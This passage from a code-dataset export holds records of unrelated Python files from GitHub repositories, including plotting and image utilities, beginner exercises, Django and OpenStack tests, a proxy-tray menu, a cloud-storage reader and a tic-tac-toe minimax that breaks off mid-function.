'triage'}\n","repo_name":"polyswarm/polyswarm-api","sub_path":"test/client_scan_test.py","file_name":"client_scan_test.py","file_ext":"py","file_size_in_byte":19264,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"41465955854","text":"'''\n模板介绍:\ncoding: utf-8\nTeam : 无\nAuthor:张恒瑞\nDate :2021/6/25 10:53\nTool :PyCharm\n'''\nimport matplotlib.pyplot as mp\nimport matplotlib.gridspec as mg\n# 创建一个窗口\n\nmp.figure(\"A\")\n\n# 设置表格的矩阵模块\ngs=mg.GridSpec(3,3)\n# 根据需求合并网格\nmp.subplot(gs[0,:2])\nmp.text(\n 0.5,\n 0.5,\n \"1\"\n)\nmp.xticks([])\nmp.yticks([])\nmp.subplot(gs[0:2,2:])\nmp.text(\n 0.5,\n 0.5,\n \"2\"\n)\nmp.xticks([])\nmp.yticks([])\nmp.subplot(gs[1:,:1])\nmp.text(\n 0.5,\n 0.5,\n \"3\"\n)\nmp.xticks([])\nmp.yticks([])\nmp.subplot(gs[2:,1:])\nmp.text(\n 0.5,\n 0.5,\n \"4\"\n)\nmp.xticks([])\nmp.yticks([])\nmp.subplot(gs[1:2,1:2])\nmp.text(\n 0.5,\n 0.5,\n \"5\"\n)\nmp.xticks([])\nmp.yticks([])\nmp.show()","repo_name":"EMdnmd/data_analysis","sub_path":"day02/网格式布局.py","file_name":"网格式布局.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29314542594","text":"import tensorflow as tf\nimport numpy as np\nfrom PIL import Image\nimport cv2\nimport matplotlib.pyplot as plt\nimport copy\nfrom enum import Enum\n\n\nclass RGBColor(Enum):\n RED = 1\n GREEN = 2\n BLUE = 3\n\ndef cvtColor(image):\n if len(np.shape(image)) == 3 and np.shape(image)[-2] == 3:\n return image\n else:\n image = image.convert('RGB')\n return image\n\n\ndef normalize(image):\n image = image / 127.5 - 1\n return image\n\n\ndef resize_image(image, size):\n iw, ih = image.size\n w, h = size\n\n scale = min(w / iw, h / ih)\n nw = int(iw * scale)\n nh = int(ih * scale)\n\n image = image.resize((nw, nh), Image.BICUBIC)\n new_image = Image.new('RGB', size, (128, 128, 128))\n new_image.paste(image, ((w - nw) // 2, (h - nh) // 2))\n\n return new_image, nw, nh\n\n\ndef resize_label(image, size):\n iw, ih = image.size\n w, h = size\n\n scale = min(w / iw, h / ih)\n nw = int(iw * scale)\n nh = int(ih * scale)\n\n image = image.resize((nw, nh), Image.NEAREST)\n new_image = Image.new('L', size, (0))\n new_image.paste(image, ((w - nw) // 2, (h - nh) // 2))\n\n return new_image, nw, nh\n\ndef rotate_image(mat, angle):\n \"\"\"\n Rotates an image (angle in degrees) and expands image to avoid cropping\n https://stackoverflow.com/questions/43892506/opencv-python-rotate-image-without-cropping-sides\n \"\"\"\n\n height, width = mat.shape[:2] # image shape has 3 dimensions\n image_center = (width/2, height/2) # getRotationMatrix2D needs coordinates in reverse order (width, height) compared to shape\n\n rotation_mat = cv2.getRotationMatrix2D(image_center, angle, 1.)\n\n # rotation calculates the cos and sin, taking absolutes of those.\n abs_cos = abs(rotation_mat[0,0]) \n abs_sin = abs(rotation_mat[0,1])\n\n # find the new width and height bounds\n bound_w = int(height * abs_sin + width * abs_cos)\n bound_h = int(height * abs_cos + width * abs_sin)\n\n # subtract old image center (bringing image back to origo) and adding the new image center coordinates\n rotation_mat[0, 2] += bound_w/2 - image_center[0]\n rotation_mat[1, 2] += bound_h/2 - image_center[1]\n\n # rotate image with the new bounds and translated rotation matrix\n rotated_mat = cv2.warpAffine(mat, rotation_mat, (bound_w, bound_h))\n return rotated_mat\n\ndef display_image(image):\n plt.figure(figsize=(15, 15))\n plt.imshow(image, cmap=\"gray\")\n plt.axis('off')\n plt.show()\n\ndef remove_image_color(image_matrix, color: RGBColor):\n img_copy = copy.deepcopy(image_matrix)\n for h in range(np.shape(img_copy)[0]):\n for w in range(np.shape(img_copy)[1]):\n r,g,b = img_copy[h,w]\n if color == RGBColor.RED:\n if r > 0:\n img_copy[h,w] = 0,g,b\n elif color == RGBColor.GREEN:\n if g > 0:\n img_copy[h,w] = r,0,b\n return img_copy\n\ndef display_training(display_list):\n plt.figure(figsize=(15, 15))\n title = ['Input Image', 'True Mask', 'Predicted Mask']\n for i in range(len(display_list)):\n plt.subplot(1, len(display_list), i + 1)\n plt.title(title[i])\n plt.imshow(tf.keras.utils.array_to_img(display_list[i]))\n plt.axis('off')\n plt.show()","repo_name":"tomtupy/2phome","sub_path":"drywell/level_detector/lib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29206732775","text":"print('-' * 20)\nprint('\\033[35mFORMAS DE PAGAMENTO\\033[m')\nprint('-' * 20)\npreço = float(input('Informe o valor da compra: R$'))\nprint(''''Informe a forma de pagamento:\n[ 1 ] à vista no dinheiro/cheque\n[ 2 ] à vista no cartão\n[ 3 ] até 2x no cartão\n[ 4 ] 3x ou mais no cartão''')\nopcao = int(input('Qual será a forma de pagamento? '))\nif opcao == 1:\n desconto1 = preço - (0.1 * preço)\n print('\\033[32mPARABÉNS\\033[m! A sua compra deu um desconto de 10%! A sua compra era de R$ {} e ficou em R$ {}. Efetue o seu pagamento no caixa.'.format(preço, desconto1))\nelif opcao == 2:\n desconto2 = preço - (0.05 * preço)\n print('\\033[32mPARABÉNS\\033[m! A sua compra deu um desconto de 5%! A sua compra era de R$ {} e ficou em R$ {}. Efetue o seu pagamento no caixa.'.format(preço, desconto2))\nelif opcao == 3:\n parcela = preço / 2\n print('A sua compra custa R$ {} e será feita em 2 parcelas de {}. SEM JUROS. Efetue o pagamento no caixa. E Fique atento as nossas promoções!'.format(preço, parcela))\nelif opcao == 4:\n perguntar = int(input('Em quantas parcelas deseja fazer a compra?'))\n juros = (preço * 0.2)\n valorfinal = preço + juros\n mes = preço / perguntar\n print('A sua compra foi de R$ {} e será feita em {} parcelas de R$ {:.2f}, e terá um juros de {:.2f}, o que totalizará em R$ {}.'.format(preço, perguntar, mes, juros, valorfinal))\nelse:\n print('\\033[4;31mERROR\\033[m')","repo_name":"Melo-Luisa/Python","sub_path":"exercicio/ex044.py","file_name":"ex044.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38807063013","text":"'''\nRetorno de valores das funções (return)\n'''\n\ndef soma(x, y):\n if x > 10:\n return 10\n return x + y\n\n# Existem dois tipos de função \n# 1- Funções que apenas executam ações e não retornam nada;\n# 2- Funções que são especificas para retornar valores\n\n# variavel = soma(1,2)\n# variavel = int('1')\n# print(variavel)\n\nsoma1 = soma(2, 2)\nsoma2 = soma(3, 3)\nprint(soma1 + soma2)","repo_name":"euToni/UdEmyPY","sub_path":"aulas 65 a 75 s4/aula70.py","file_name":"aula70.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12040559562","text":"\"\"\"\n测试套件(测序入口)\n\"\"\"\nimport unittest\nfrom tool.HTMLTestRunnerCN import HTMLTestReportCN # 中文模板\n\nsuite = unittest.defaultTestLoader.discover('./script/', pattern='hm*.py')\n\nreport_name = './report/tpshop_main_process.html'\n\nwith open(report_name, 'wb') as f:\n runner = HTMLTestReportCN(stream=f,\n verbosity=2,\n title='TPShop_Main_Process Web自动化测试报告',\n description='系统: macOS, 浏览器: 谷歌浏览器, 语言: Python',\n tester='limy')\n runner.run(suite)\n\n\n\n\n\n\n","repo_name":"limy-liu/test_limy","sub_path":"run_suite_01.py","file_name":"run_suite_01.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"33139873328","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.AttendanceListView.as_view(), name='index'), \n path('/', views.StudentDetailView.as_view(), name='detail'), \n path('attendance_create/', views.AttendanceCreateView.as_view(), name='attendance_create'), \n path('/', views.AttendanceUpdateView.as_view(), name='attendance_update'), \n path('/', views.AttendanceDeleteView.as_view(), name='attendance_update'), \n]","repo_name":"python-benedict/afora","sub_path":"myApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27321997821","text":"#Problem 9: Write a program that converys a hexadecimal number to decimal number.\nimport math\n\ndec = 0\nhex = \"100\"\n\ntemp = list(hex)\ntemp.reverse()\n\nfor x in range(0, len(hex)):\n dec = dec + (int(temp[x]) * int(math.pow(16, x)))\n\nprint(dec)\n","repo_name":"ArjunAranetaCodes/MoreCodes-Python","sub_path":"Conversions/problem9.py","file_name":"problem9.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"73755454245","text":"from concurrent import futures\nfrom threading import Thread\nimport time\n\nfrom oslo_log import log as logging\nfrom tempest import config\n\n\nfrom vitrage_tempest_plugin.tests.common.constants import VertexProperties\nfrom vitrage_tempest_plugin.tests.common import general_utils as g_utils\nfrom vitrage_tempest_plugin.tests.common import vitrage_utils as v_utils\nfrom vitrage_tempest_plugin.tests.e2e.test_actions_base import TestActionsBase\nfrom vitrage_tempest_plugin.tests import utils\n\nCONF = config.CONF\nLOG = logging.getLogger(__name__)\n\nDEDUCED_1 = 'mock_datasource.3rd_degree_scenarios.deduced.alarm1'\nDEDUCED_2 = 'mock_datasource.3rd_degree_scenarios.deduced.alarm2'\nTEMPLATE_NAME = 'mock_datasource_3rd_degree_scenarios.yaml'\nSLEEP = 100\nMAX_FAIL_OVER_TIME = 20\n\n\nclass TestLongProcessing(TestActionsBase):\n\n def tearDown(self):\n super(TestLongProcessing, self).tearDown()\n if v_utils.get_first_template(name=TEMPLATE_NAME):\n v_utils.delete_template(name=TEMPLATE_NAME)\n time.sleep(SLEEP)\n\n @classmethod\n def setUpClass(cls):\n super(TestLongProcessing, cls).setUpClass()\n logger = logging.getLogger('vitrageclient.v1.client').logger\n logger.setLevel(logging.INFO)\n if v_utils.get_first_template(name=TEMPLATE_NAME):\n v_utils.delete_template(name=TEMPLATE_NAME)\n time.sleep(SLEEP)\n\n @utils.tempest_logger\n def test_high_availability_events(self):\n \"\"\"The purpose of the test is to check that events are stored\n\n That is, during different stages in vitrage-graph lifetime:\n before graph read from db (during init)\n after graph read from db (during init)\n during get_all\n after get_all\n \"\"\"\n try:\n # adding a template just to create more load (to slow things down)\n v_utils.add_template(TEMPLATE_NAME)\n time.sleep(SLEEP)\n self.keep_sending_events = True\n self.num_of_sent_events = 0\n\n doctor_events_thread = self._async_doctor_events()\n time.sleep(10)\n v_utils.stop_graph()\n time.sleep(10)\n v_utils.restart_graph()\n time.sleep(MAX_FAIL_OVER_TIME)\n v_utils.delete_template(name=TEMPLATE_NAME)\n\n # sleep to allow get_all to start and finish at least once:\n time.sleep(4 * CONF.root_cause_analysis_service.snapshots_interval)\n\n v_utils.restart_graph()\n self.keep_sending_events = False\n time.sleep(MAX_FAIL_OVER_TIME)\n doctor_events_thread.join(timeout=10)\n\n alarm_count = self.vitrage_client.alarm.count(all_tenants=True)\n self.assertTrue(self.num_of_sent_events > 0,\n 'Test did not create events')\n self.assertAlmostEqual(\n self.num_of_sent_events,\n alarm_count['CRITICAL'],\n msg='CRITICAL doctor events expected',\n delta=1)\n finally:\n self._remove_doctor_events()\n\n @utils.tempest_logger\n def test_db_init(self):\n v_utils.add_template(TEMPLATE_NAME)\n time.sleep(SLEEP)\n\n # 1. check template works well\n self._check_template_instance_3rd_degree_scenarios()\n\n # 2. check fast fail-over - start from database\n topo1 = self.vitrage_client.topology.get(all_tenants=True)\n v_utils.restart_graph()\n time.sleep(MAX_FAIL_OVER_TIME)\n for i in range(5):\n self._check_template_instance_3rd_degree_scenarios()\n topo2 = self.vitrage_client.topology.get(all_tenants=True)\n self._assert_graph_equal(\n topo1, topo2, 'comparing graph items iteration %s' % i)\n time.sleep(CONF.root_cause_analysis_service.snapshots_interval)\n\n v_utils.delete_template(name=TEMPLATE_NAME)\n time.sleep(SLEEP)\n self._check_template_instance_3rd_degree_scenarios_deleted()\n\n def _check_template_instance_3rd_degree_scenarios(self):\n\n alarm_count = self.vitrage_client.alarm.count(all_tenants=True)\n self.assertEqual(\n CONF.root_cause_analysis_service.instances_per_host,\n alarm_count['SEVERE'],\n 'Each instance should have one SEVERE deduced alarm')\n self.assertEqual(\n CONF.root_cause_analysis_service.instances_per_host,\n alarm_count['CRITICAL'],\n 'Each instance should have one CRITICAL deduced alarm')\n\n expected_rca = [{VertexProperties.VITRAGE_TYPE: 'zabbix'}] * CONF.\\\n root_cause_analysis_service.zabbix_alarms_per_host\n expected_rca.extend([{'name': DEDUCED_1}, {'name': DEDUCED_2}])\n\n def check_rca(alarm):\n rca = self.vitrage_client.rca.get(alarm['vitrage_id'],\n all_tenants=True)\n try:\n self._check_rca(rca, expected_rca, alarm)\n return True\n except Exception:\n LOG.exception('check_rca failed')\n return False\n\n # 10 threads calling rca api\n alarms = self.vitrage_client.alarm.list(all_tenants=True,\n vitrage_id='all')\n deduced_alarms = g_utils.all_matches(\n alarms, vitrage_type='vitrage', name=DEDUCED_2)\n workers = futures.ThreadPoolExecutor(max_workers=10)\n workers_result = [r for r in workers.map(check_rca,\n deduced_alarms)]\n self.assertTrue(all(workers_result))\n\n def _check_template_instance_3rd_degree_scenarios_deleted(self):\n alarm_count = self.vitrage_client.alarm.count(all_tenants=True)\n self.assertEqual(\n 0,\n alarm_count['SEVERE'],\n 'found SEVERE deduced alarms after template delete')\n self.assertEqual(\n 0,\n alarm_count['CRITICAL'],\n 'found CRITICAL deduced alarms after template delete')\n\n def _async_doctor_events(self, spacing=1):\n\n def do_create():\n while self.keep_sending_events:\n try:\n v_utils.generate_fake_host_alarm(\n 'nova.host-0-nova.zone-0-openstack.cluster-0',\n 'test_high_availability_events' +\n str(self.num_of_sent_events))\n self.num_of_sent_events += 1\n time.sleep(spacing)\n except Exception:\n time.sleep(spacing)\n continue\n\n t = Thread(target=do_create)\n t.setDaemon(True)\n t.start()\n return t\n\n def _remove_doctor_events(self):\n\n for i in range(self.num_of_sent_events):\n try:\n v_utils.generate_fake_host_alarm(\n 'nova.host-0-nova.zone-0-openstack.cluster-0',\n 'test_high_availability_events %s' % i,\n enabled=False)\n except Exception:\n continue\n","repo_name":"openstack/vitrage-tempest-plugin","sub_path":"vitrage_tempest_plugin/tests/resources/mock_datasource/test_3rd_degree_scenarios.py","file_name":"test_3rd_degree_scenarios.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"16646743576","text":"import pandas as pd\nimport sys, os\nfrom http import cookies\nimport datetime\nfrom random import randrange\n\nSESSIONS_FILE = 'sessiones.csv'\n\nclass Session():\n\n def __init__(self, legajo, cookie=None):\n self.legajo = legajo\n if cookie is not None:\n self.cookie = cookie\n else:\n self.cookie = self._new_cookie()\n\n def save(self):\n sessiones = pd.read_csv(SESSIONS_FILE)\n sesion = [len(sessiones), str(self.cookie['session'].value), self.legajo]\n sessiones.loc[len(sessiones)] = sesion \n sessiones.to_csv(SESSIONS_FILE, index=False)\n\n @classmethod\n def get_current_session(cls):\n\n cookie = cookies.SimpleCookie(os.environ[\"HTTP_COOKIE\"])\n\n sessiones = pd.read_csv(SESSIONS_FILE, index_col=\"id\")\n session = sessiones[sessiones['cookie'] == int(cookie['session'].value)] \n\n legajo = session.get_value(0, 'legajo')\n return Session(legajo, cookie) \n\n @classmethod\n def exists(cls):\n if \"HTTP_COOKIE\" in os.environ:\n cookie = cookies.SimpleCookie(os.environ[\"HTTP_COOKIE\"])\n if 'session' in cookie and cookie['session'].value:\n return True\n return False\n\n def _new_cookie(self):\n expiration = datetime.datetime.now() + datetime.timedelta(days=2)\n cookie = cookies.SimpleCookie()\n cookie[\"session\"] = str(randrange(1000000000))\n cookie[\"session\"][\"domain\"] = \"localhost\"\n cookie[\"session\"][\"path\"] = \"/\"\n cookie[\"session\"][\"expires\"] = expiration.strftime(\"%a, %d-%b-%Y %H:%M:%S GTM\")\n\n return cookie\n\n def delete_cookie(self):\n\n cookie = cookies.SimpleCookie(os.environ[\"HTTP_COOKIE\"])\n sessiones = pd.read_csv(SESSIONS_FILE, index_col=\"id\")\n session = sessiones[sessiones['cookie'] == int(cookie['session'].value)]\n sessiones.drop(session.index[0], inplace=True)\n sessiones.to_csv(SESSIONS_FILE)\n\n expiration = datetime.datetime.now() + datetime.timedelta(days=-1)\n cookie = cookies.SimpleCookie()\n cookie[\"session\"] = \"\"\n cookie[\"session\"][\"domain\"] = \"localhost\"\n cookie[\"session\"][\"path\"] = \"/\"\n cookie[\"session\"][\"expires\"] = expiration.strftime(\"%a, %d-%b-%Y %H:%M:%S GTM\")\n return cookie","repo_name":"LucasKrmpotic/Sistemas-Distribuidos","sub_path":"TP3/2/cgi-bin/models/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29906046609","text":"from django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\nfrom api.models import Users\n\n\nclass UsersViewSetTestCase(APITestCase):\n def setUp(self):\n # Create objects\n Users.objects.create(\n id=\"1\",\n name=\"[BYTE] Wanessa\",\n username=\"wanessabezerra\",\n birthday=\"2021-09-01\",\n email=\"wanessaparelhas68@gmail.com\",\n score=12.0,\n avatar=\"https://github.com/wanessabezerra.png\",\n countCreatedTasks=1)\n\n # Get urls\n self.user = Users.objects.first()\n self.list_url = reverse('User-list')\n self.detail_url = reverse(\n 'User-detail', kwargs={'pk': self.user.id})\n\n def test_users_list(self):\n response = self.client.get(self.list_url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.data['results']), 1)\n\n def test_users_detail(self):\n response = self.client.get(self.detail_url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['id'], self.user.id)\n","repo_name":"wanessabezerra/Taskiano","sub_path":"taskiano/backend/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"70735347046","text":"import os\nfrom lib.proxytray.proxytrayconfig import ProxyTrayConfig\nfrom lib.proxytray.proxysettings import ProxyMode\nfrom lib.proxytray.proxyprofile import ProfileEditor\n\ntry:\n from PIL import Image, ImageDraw\n from pystray import Icon, Menu, MenuItem\n FOUND_PYSTRAY = True\nexcept ImportError:\n FOUND_PYSTRAY = False\n\ndef pystrayAvailable():\n return FOUND_PYSTRAY\n\nclass PysTrayProxyTrayMenu:\n\n def __init__(self, config):\n self.config = config\n self.proxySettings = config.proxySettings\n self.proxySettings.onChangedMode(self._changedProxyMode)\n\n self.iconNoProxy = Image.open(os.path.abspath(self.config.path + '/icons/no_proxy.png'))\n self.iconProxyMan = Image.open(os.path.abspath(self.config.path + '/icons/proxy_man.png'))\n self.iconProxyAuto = Image.open(os.path.abspath(self.config.path + '/icons/proxy_auto.png'))\n\n self.menu = Menu(lambda: (\n MenuItem(self.modeLabel, None, enabled=False),\n Menu.SEPARATOR,\n MenuItem(_('Deactivate Proxy'), self._redirectTo(self._noProxy), enabled=not self.mode.isNone()),\n MenuItem(_('Activate Manual Proxy'), self._redirectTo(self._proxyMan), enabled=not self.mode.isManual()),\n MenuItem(_('Activate Automatic Proxy'), self._redirectTo(self._proxyAuto), enabled=not self.mode.isAuto()),\n Menu.SEPARATOR,\n MenuItem(_('Proxy Profiles'), Menu(lambda: self.generateProfilesMenu())),\n Menu.SEPARATOR,\n MenuItem(_('Exit Tray'), self._redirectTo(self.quit))\n ))\n\n self.profileEditor = ProfileEditor(self.config)\n self.profileEditor.onSaveCallback(self.update_menu)\n self.profileEditor.onDeleteCallback(self.update_menu)\n\n self.pystray = Icon('ProxyTray', self.iconProxyMan, menu=self.menu)\n self._refreshProxyMode()\n\n self.pystray.run()\n \n def generateProfilesMenu(self):\n result = [MenuItem(_('New Profile'), self._redirectTo(self._newProfile))]\n for profile in ProxyTrayConfig.getProfiles():\n result.append(\n MenuItem(profile['name'], Menu(lambda: (\n MenuItem(_('Apply'), self._redirectTo(self._applyProfile, profile['name'])),\n MenuItem(_('Edit'), self._redirectTo(self._modifyProfile, profile['name']))\n )))\n )\n return result\n\n def update_menu(self, _):\n self.pystray.update_menu()\n \n def _redirectTo(self, method, arg = None):\n def inner():\n if arg == None:\n method()\n else:\n method(arg)\n return inner\n\n def _changedProxyMode(self, _, __):\n self._refreshProxyMode()\n\n def _refreshProxyMode(self):\n self.mode = self.proxySettings.getMode()\n self.modeLabel = \"\"\n if self.mode == ProxyMode.none:\n self.modeLabel = _('Deactivated')\n self.pystray.icon = self.iconNoProxy\n if self.mode == ProxyMode.manual:\n self.modeLabel = _('Manual')\n self.pystray.icon = self.iconProxyMan\n if self.mode == ProxyMode.auto:\n self.modeLabel = _('Automatic')\n self.pystray.icon = self.iconProxyAuto\n \n def _noProxy(self):\n self.proxySettings.setMode(ProxyMode.none)\n\n def _proxyMan(self):\n self.proxySettings.setMode(ProxyMode.manual)\n\n def _proxyAuto(self):\n self.proxySettings.setMode(ProxyMode.auto)\n\n def _newProfile(self):\n self.profileEditor.updateFromProfile(None)\n\n def _applyProfile(self, name):\n self.config.applyProfile(name)\n\n def _modifyProfile(self, name):\n self.profileEditor.updateFromProfile(ProxyTrayConfig.getProfile(name))\n\n def quit(self):\n self.pystray.stop()\n\n","repo_name":"massamany/proxy-tray","sub_path":"lib/proxytray/pystrayproxytraymenu.py","file_name":"pystrayproxytraymenu.py","file_ext":"py","file_size_in_byte":3805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12521098645","text":"#!/usr/bin/env python\n\"\"\"A simple reader for file segs produced by GCS output writer.\"\"\"\n\nfrom mapreduce import output_writers\n\n# pylint: disable=protected-access\n# pylint: disable=invalid-name\n\n# pylint: disable=g-import-not-at-top\n# TODO(user): Cleanup imports if/when cloudstorage becomes part of runtime.\ntry:\n # Check if the full cloudstorage package exists. The stub part is in runtime.\n import cloudstorage\n if hasattr(cloudstorage, \"_STUB\"):\n cloudstorage = None\nexcept ImportError:\n pass # CloudStorage library not available\n\n\nclass _GCSFileSegReader(object):\n \"\"\"A simple reader for file segs produced by GCS output writer.\n\n Internal use only.\n\n This reader conforms to Python stream interface.\n \"\"\"\n\n def __init__(self, seg_prefix, last_seg_index):\n \"\"\"Init.\n\n Instances are pickle safe.\n\n Args:\n seg_prefix: filename prefix for all segs. It is expected\n seg_prefix + index = seg filename.\n last_seg_index: the last index of all segs. int.\n \"\"\"\n self._EOF = False\n self._offset = 0\n\n # fields related to seg.\n self._seg_prefix = seg_prefix\n self._last_seg_index = last_seg_index\n self._seg_index = -1\n self._seg_valid_length = None\n self._seg = None\n self._next_seg()\n\n def read(self, n):\n \"\"\"Read data from file segs.\n\n Args:\n n: max bytes to read. Must be positive.\n\n Returns:\n some bytes. May be smaller than n bytes. \"\" when no more data is left.\n \"\"\"\n if self._EOF:\n return \"\"\n\n while self._seg_index <= self._last_seg_index:\n result = self._read_from_seg(n)\n if result != \"\":\n return result\n else:\n self._next_seg()\n\n self._EOF = True\n return \"\"\n\n def close(self):\n if self._seg:\n self._seg.close()\n\n def tell(self):\n \"\"\"Returns the next offset to read.\"\"\"\n return self._offset\n\n def _next_seg(self):\n \"\"\"Get next seg.\"\"\"\n if self._seg:\n self._seg.close()\n self._seg_index += 1\n if self._seg_index > self._last_seg_index:\n self._seg = None\n return\n\n filename = self._seg_prefix + str(self._seg_index)\n stat = cloudstorage.stat(filename)\n writer = output_writers._GoogleCloudStorageOutputWriter\n if writer._VALID_LENGTH not in stat.metadata:\n raise ValueError(\n \"Expect %s in metadata for file %s.\" %\n (writer._VALID_LENGTH, filename))\n self._seg_valid_length = int(stat.metadata[writer._VALID_LENGTH])\n if self._seg_valid_length > stat.st_size:\n raise ValueError(\n \"Valid length %s is too big for file %s of length %s\" %\n (self._seg_valid_length, filename, stat.st_size))\n self._seg = cloudstorage.open(filename)\n\n def _read_from_seg(self, n):\n \"\"\"Read from current seg.\n\n Args:\n n: max number of bytes to read.\n\n Returns:\n valid bytes from the current seg. \"\" if no more is left.\n \"\"\"\n result = self._seg.read(size=n)\n if result == \"\":\n return result\n offset = self._seg.tell()\n if offset > self._seg_valid_length:\n extra = offset - self._seg_valid_length\n result = result[:-1*extra]\n self._offset += len(result)\n return result\n","repo_name":"kiwibrowser/src","sub_path":"third_party/catapult/third_party/mapreduce/mapreduce/tools/gcs_file_seg_reader.py","file_name":"gcs_file_seg_reader.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":2475,"dataset":"github-code","pt":"52"} +{"seq_id":"42444021026","text":"\"\"\"\nTic Tac Toe Player\n\"\"\"\n\nimport math, collections, operator\nfrom copy import deepcopy\n\nimport numpy as np\n\n\nX = \"X\"\nO = \"O\"\nEMPTY = None\n\n\ndef initial_state():\n \"\"\"\n Returns starting state of the board.\n \"\"\"\n return [[EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY],\n [EMPTY, EMPTY, EMPTY]]\n\n\ndef player(board):\n \"\"\"\n Returns player who has the next turn on a board.\n \n \n The player function should take a board state as\n input, and return which player’s turn it is (either \n X or O). In the initial game state, X gets the\n first move. Subsequently, the player alternates\n with each additional move. Any return value is \n acceptable if a terminal board is provided as \n input (i.e., the game is already over).\n\n \"\"\"\n flat_board = [c for row in board for c in row]\n counter = collections.Counter(flat_board)\n if counter[None]== 0:\n return \"full board\"\n elif counter[None]==9:\n return X\n del counter[None]\n return X if counter[X]<=counter[O] else O\n\n\ndef actions(board):\n \"\"\"\n Returns set of all possible actions (i, j) available on the board.\n \n The actions function should return a set of all of the\n possible actions that can be taken on a given board.\n Each action should be represented as a tuple (i, j) \n where i corresponds to the row of the move (0, 1, or 2) \n and j corresponds to which cell in the row corresponds \n to the move (also 0, 1, or 2).\n Possible moves are any cells on the board that do not \n already have an X or an O in them.\n Any return value is acceptable if a terminal board is \n provided as input.\n \n \"\"\"\n actions = set()\n for i, row in enumerate(board):\n for j, val in enumerate(row):\n if val==EMPTY:\n actions.add((i,j))\n return actions\n\n\ndef result(board, action):\n \"\"\"\n Returns the board that results from making move (i, j) on the board.\n \n The result function takes a board and an action as input,\n and should return a new board state, without modifying the\n original board.\n\n If action is not a valid action for the board, your program\n should raise an exception.\n The returned board state should be the board that would \n result from taking the original input board, and letting \n the player whose turn it is make their move at the cell \n indicated by the input action.\n Importantly, the original board should be left unmodified:\n since Minimax will ultimately require considering many different\n board states during its computation. This means that simply\n updating a cell in board itself is not a correct implementation \n of the result function. You’ll likely want to make a deep \n copy of the board first before making any changes.\n \n \"\"\"\n if action not in actions(board):\n raise ValueError(\"action passed \", action,\n \" is not in allowed actions \",\n actions(board), \" for \", board)\n new_board = deepcopy(board)\n player_XO = player(board)\n row, col = action\n new_board[row][col] = player_XO\n return new_board\n\n\ndef winner(board):\n \"\"\"\n Returns the winner of the game, if there is one.\n \n The winner function should accept a board as input,\n and return the winner of the board if there is one.\n\n If the X player has won the game, your function should \n return X. If the O player has won the game, your \n function should return O.\n One can win the game with three of their moves in a\n row horizontally, vertically, or diagonally.\n You may assume that there will be at most one winner\n (that is, no board will ever have both players with \n three-in-a-row, since that would be an invalid board \n state).\n If there is no winner of the game (either because the\n game is in progress, or because it ended in a tie), \n the function should return None.\n\n \"\"\"\n import numpy as np\n aboard = np.array(board)\n \n for X_or_O in (X, O):\n col = np.any(np.sum(aboard==X_or_O, axis=0)==3)\n li = np.any(np.sum(aboard==X_or_O, axis=1)==3)\n diag = np.sum(np.diag(aboard==X_or_O))==3\n diag_t = np.sum(np.diag(np.fliplr(aboard))==X_or_O)==3\n if col or li or diag or diag_t:\n return X_or_O\n return 0\n\n\ndef terminal(board):\n \"\"\"\n Returns True if game is over, False otherwise.\n \n The terminal function should accept a board as \n input, and return a boolean value indicating whether\n the game is over.\n\n If the game is over, either because someone has won \n the game or because all cells have been filled without\n anyone winning, the function should return True.\n Otherwise, the function should return False if the \n game is still in progress.\n\n \"\"\"\n if winner(board) is not 0 or bool(actions(board)) == False:\n return True\n return False\n\n\ndef utility(board):\n \"\"\"\n Returns 1 if X has won the game, -1 if O has won, 0 otherwise.\n \n The utility function should accept a terminal board as\n input and output the utility of the board.\n\n If X has won the game, the utility is 1. If O has won\n the game, the utility is -1. If the game has ended in \n a tie, the utility is 0.\n You may assume utility will only be called on a board \n if terminal(board) is True.\n \n \"\"\"\n #if not terminal(board):\n # raise ValueError('Board should be terminal to compute its utility')\n if winner(board)==X:\n return 1\n elif winner(board)==O:\n return -1\n else:\n return 0\n\n\ndef minimax_value(board):\n \"\"\"\n Return only the minimax value of the board.\n Not the action.\n \"\"\"\n if terminal(board):\n return utility(board)\n\n # initialize values\n init = 2\n board_actions = actions(board)\n player_X_or_O = player(board)\n # set player functions\n if player_X_or_O==X:\n func = max\n v = -init\n elif player_X_or_O==O:\n func = min\n v = init\n else:\n raise ValueError(\"Player is\", player_X_or_O)\n\n # Computation of minimax value : \n # for all actions, compute the minimax value...\n for action in board_actions:\n next_board = result(board, 